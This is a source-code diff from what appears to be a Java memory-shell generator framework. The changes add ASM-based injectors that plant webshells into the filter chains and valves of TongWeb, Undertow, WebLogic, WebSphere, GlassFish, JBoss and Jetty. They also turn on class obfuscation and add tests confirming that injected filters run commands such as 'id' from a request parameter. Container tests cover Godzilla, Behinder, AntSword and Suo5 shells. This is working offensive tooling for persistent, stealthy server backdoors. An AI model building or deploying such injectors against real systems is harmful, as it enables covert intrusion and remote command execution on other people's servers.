+                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -25,7 +25,9 @@ public class TongWeb7Shell extends AbstractShell {
                .addInjector(VALVE, TongWebValveInjector.class)
                .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;

-import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
-import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
-import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
-import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
+import com.reajason.javaweb.memshell.injector.undertow.*;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -48,6 +45,7 @@ public class UndertowShell extends AbstractShell {
                .addInjector(LISTENER, UndertowListenerInjector.class)
                .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
+                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;

-import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
-import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
-import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
-import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.*;

 import static com.reajason.javaweb.memshell.ShellType.*;

@@ -25,6 +22,7 @@ public class WebLogicShell extends AbstractShell {
                .addInjector(FILTER, WebLogicFilterInjector.class)
                .addInjector(LISTENER, WebLogicListenerInjector.class)
                .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
+                .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;

-import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
-import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
-import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
+import com.reajason.javaweb.memshell.injector.websphere.*;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -36,6 +33,7 @@ public class WebSphereShell extends AbstractShell {
                .addInjector(FILTER, WebSphereFilterInjector.class)
                .addInjector(LISTENER, WebSphereListenerInjector.class)
                .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
+                .addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -87,7 +87,7 @@ public class CommonUtil {
        return sb.toString();
    }

-    private static String getRandomPackageName() {
+    public static String getRandomPackageName() {
        return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
    }

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.CustomConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.jar.asm.ClassReader;
+import org.apache.commons.codec.binary.Base64;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/19
+ */
+class CustomShellGeneratorTest {
+
+    @Test
+    @SneakyThrows
+    void test() {
+        byte[] bytes = new ByteBuddy()
+                .subclass(Object.class)
+                .name(CommonUtil.generateShellClassName()).make().getBytes();
+        String className = CommonUtil.generateShellClassName();
+        byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.encodeBase64String(bytes)).build()).getBytes();
+
+        ClassReader classReader = new ClassReader(bytes1);
+        assertEquals(className, classReader.getClassName().replace("/", "."));
+    }
+}
@@ -0,0 +1,32 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+import org.junit.jupiter.api.Test;
+
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/27
+ */
+class InjectorGeneratorTest {
+
+    @Test
+    void testAsm() {
+        InjectorConfig injectorConfig = InjectorConfig.builder()
+                .shellClassBytes("hello".getBytes())
+                .shellClassName("hello")
+                .injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
+                .build();
+        InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
+//        injectorGenerator.generate();
+        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
+        assertEquals(2, innerClassBytes.size());
+        innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
+    }
+}
@@ -0,0 +1,28 @@
+package com.reajason.javaweb.memshell.shelltool;
+
+import javax.servlet.ServletOutputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+public class DelegatingServletOutputStream extends ServletOutputStream {
+    private final ByteArrayOutputStream delegate;
+
+    public DelegatingServletOutputStream(ByteArrayOutputStream delegate) {
+        this.delegate = delegate;
+    }
+
+    @Override
+    public void write(int b) throws IOException {
+        delegate.write(b);
+    }
+
+    @Override
+    public void write(byte[] b) throws IOException {
+        delegate.write(b);
+    }
+
+    @Override
+    public void write(byte[] b, int off, int len) throws IOException {
+        delegate.write(b, off, len);
+    }
+}
@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.shelltool;
+
+import javax.servlet.FilterChain;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/30
+ */
+public interface FilterChainInterface {
+    void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
+
+    void doFilterInternal();
+}
@@ -0,0 +1,22 @@
+package com.reajason.javaweb.memshell.shelltool;
+
+import javax.servlet.FilterChain;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/30
+ */
+public class TestFilterChain implements FilterChainInterface {
+
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+        doFilterInternal();
+    }
+
+    public void doFilterInternal() {
+        System.out.println("doFilterInternal");
+    }
+}
@@ -0,0 +1,106 @@
+package com.reajason.javaweb.memshell.shelltool.command;
+
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
+import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
+import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
+import com.reajason.javaweb.util.ClassUtils;
+import lombok.SneakyThrows;
+import me.n1ar4.clazz.obfuscator.api.ClassObf;
+import me.n1ar4.clazz.obfuscator.api.Result;
+import me.n1ar4.clazz.obfuscator.config.BaseConfig;
+import org.apache.commons.io.IOUtils;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+import org.objectweb.asm.*;
+
+import javax.servlet.FilterChain;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.Objects;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.Mockito.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/30
+ */
+@ExtendWith(MockitoExtension.class)
+public class CommandFilterChainASMTest {
+
+    @Mock
+    ServletRequest mockRequest;
+
+    @Mock
+    ServletResponse mockResponse;
+
+    Object instance;
+
+    @BeforeEach
+    @SneakyThrows
+    void setUp() {
+        byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
+        ClassReader cr = new ClassReader(bytes);
+        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if ("doFilter".equals(name)) {
+                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                    return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
+                }
+                return mv;
+            }
+        };
+        cr.accept(cv, ClassReader.EXPAND_FRAMES);
+        byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
+        BaseConfig config = BaseConfig.Default();
+        config.setIgnorePublic(true);
+        config.setEnableMethodName(false);
+        config.setEnableParamName(false);
+        config.setEnableAES(false);
+        config.setEnableAdvanceString(false);
+        ClassObf classObf = new ClassObf(config);
+        Result run = classObf.run(bytes2);
+        bytes2 = run.getData();
+        IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
+        Class<?> clazz = ClassUtils.defineClass(bytes2);
+        instance = spy(clazz.newInstance());
+    }
+
+    @Test
+    @SneakyThrows
+    void testInvokeParam() {
+        when(mockRequest.getParameter("paramName")).thenReturn("id");
+        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
+        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
+        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
+
+        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
+        String output = capturedOutput.toString(StandardCharsets.UTF_8);
+        assertTrue(output.contains("uid="));
+
+        verify(((FilterChainInterface) instance), never()).doFilterInternal();
+    }
+
+    @Test
+    @SneakyThrows
+    void testNotParameter() {
+        when(mockRequest.getParameter("paramName")).thenReturn(null);
+
+        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
+
+        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
+    }
+}
@@ -0,0 +1,93 @@
+package com.reajason.javaweb.memshell.shelltool.command;
+
+import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
+import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
+import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
+import lombok.SneakyThrows;
+import net.bytebuddy.agent.ByteBuddyAgent;
+import net.bytebuddy.agent.builder.AgentBuilder;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.dynamic.ClassFileLocator;
+import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
+import net.bytebuddy.matcher.ElementMatchers;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+import javax.servlet.FilterChain;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.nio.charset.StandardCharsets;
+
+import static net.bytebuddy.matcher.ElementMatchers.none;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.Mockito.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/30
+ */
+@ExtendWith(MockitoExtension.class)
+public class CommandFilterChainAdvisorTest {
+
+    @Mock
+    ServletRequest mockRequest;
+
+    @Mock
+    ServletResponse mockResponse;
+
+    Object instance;
+
+    static ClassFileTransformer classFileTransformer;
+
+    @BeforeEach
+    @SneakyThrows
+    void setUp() {
+        ByteBuddyAgent.install();
+        ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
+                ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
+                ByteArrayClassLoader.PersistenceHandler.MANIFEST);
+        classFileTransformer = new AgentBuilder.Default()
+                .ignore(none())
+                .type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
+                        (builder, typeDescription, c, module, protectionDomain) ->
+                                builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
+                .installOnByteBuddyAgent();
+        Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
+        instance = spy(clazz.newInstance());
+    }
+
+    @AfterEach
+    void tearDown() {
+        ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
+    }
+
+    @Test
+    @SneakyThrows
+    void testInvokeParam() {
+        when(mockRequest.getParameter("paramName")).thenReturn("id");
+        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
+        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
+        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
+
+        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
+        String output = capturedOutput.toString(StandardCharsets.UTF_8);
+        assertTrue(output.contains("uid="));
+
+        verify(((FilterChainInterface) instance), never()).doFilterInternal();
+    }
+
+    @Test
+    @SneakyThrows
+    void testNotParameter() {
+        when(mockRequest.getParameter("paramName")).thenReturn(null);
+        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
+        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
+    }
+}
@@ -4,7 +4,7 @@ services:
    ports:
      - "8080:8080"
      - "5005:5005"
-#    environment:
-#      JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
+    #    environment:
+    #      JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
    volumes:
      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
@@ -0,0 +1,8 @@
+services:
+  jetty927:
+    image: jetty:9.2-jre7
+    ports:
+      - "8080:8080"
+      - "5005:5005"
+    volumes:
+      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
@@ -4,6 +4,7 @@ services:
    container_name: weblogic12214
    ports:
      - "7001:7001"
+      - "5005:5005"
    environment:
      JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
    volumes:
@@ -0,0 +1,11 @@
+services:
+  weblogic14110:
+    image: reajason/weblogic:14.1.1.0
+    container_name: weblogic14110
+    ports:
+      - "7001:7001"
+      - "5005:5005"
+    environment:
+      JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
+    volumes:
+      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/u01/oracle/user_projects/domains/domain1/autodeploy/app.war
@@ -6,6 +6,6 @@ services:
      - 8080:8080
      - 5005:5005
    environment:
-        JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml
+      JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml
    volumes:
-        - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war
+      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war
@@ -232,8 +232,16 @@ public class ShellAssertionTool {
                .targetJreVersion(targetJdkVersion)
                .debug(true)
                .shrink(true)
+                .obfuscate(true)
                .build();

+        if (ShellTool.NeoreGeorg.equals(shellTool)) {
+            shellConfig.setObfuscate(false);
+        }
+        if (Server.Jetty.equals(server) && ShellType.FILTER.equals(shellType) && ShellTool.Suo5.equals(shellTool)) {
+            shellConfig.setObfuscate(false);
+        }
+
        ShellToolConfig shellToolConfig = null;
        String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
        switch (shellTool) {
@@ -57,7 +57,13 @@ public class GlassFish3ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
                Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),  // ClassFormatError
@@ -69,7 +75,7 @@ public class GlassFish3ContainerTest {
    @AfterAll
    static void tearDown() {
        String logs = container.getLogs();
-//        log.info(logs);
+        log.info(logs);
 //        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
    }

@@ -58,7 +58,13 @@ public class GlassFish4ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,13 @@ public class GlassFish501ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,13 @@ public class GlassFish510ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,13 @@ public class GlassFish6ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -51,7 +51,13 @@ public class GlassFish7ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
    }
@@ -51,8 +51,13 @@ public class Jboss423ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,8 +51,13 @@ public class Jboss510ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
                null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
@@ -51,8 +51,13 @@ public class Jboss610ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -54,8 +54,12 @@ public class Jboss711ContainerTest {
     */
    static Stream<Arguments> casesProvider() {
        Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
+        List<String> supportedShellTypes = List.of(
+                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN,
+                ShellType.AGENT_FILTER_CHAIN_ASM,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
+                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,11 @@ public class Jetty10ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,
+                ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
    }
@@ -51,7 +51,10 @@ public class Jetty11ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
+                ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
                null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
@@ -51,7 +51,9 @@ public class Jetty61ContainerTest {

    static Stream<Arguments> casesProvider() {
        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER);
+        List<String> supportedShellTypes = List.of(
+                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
+        );
        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
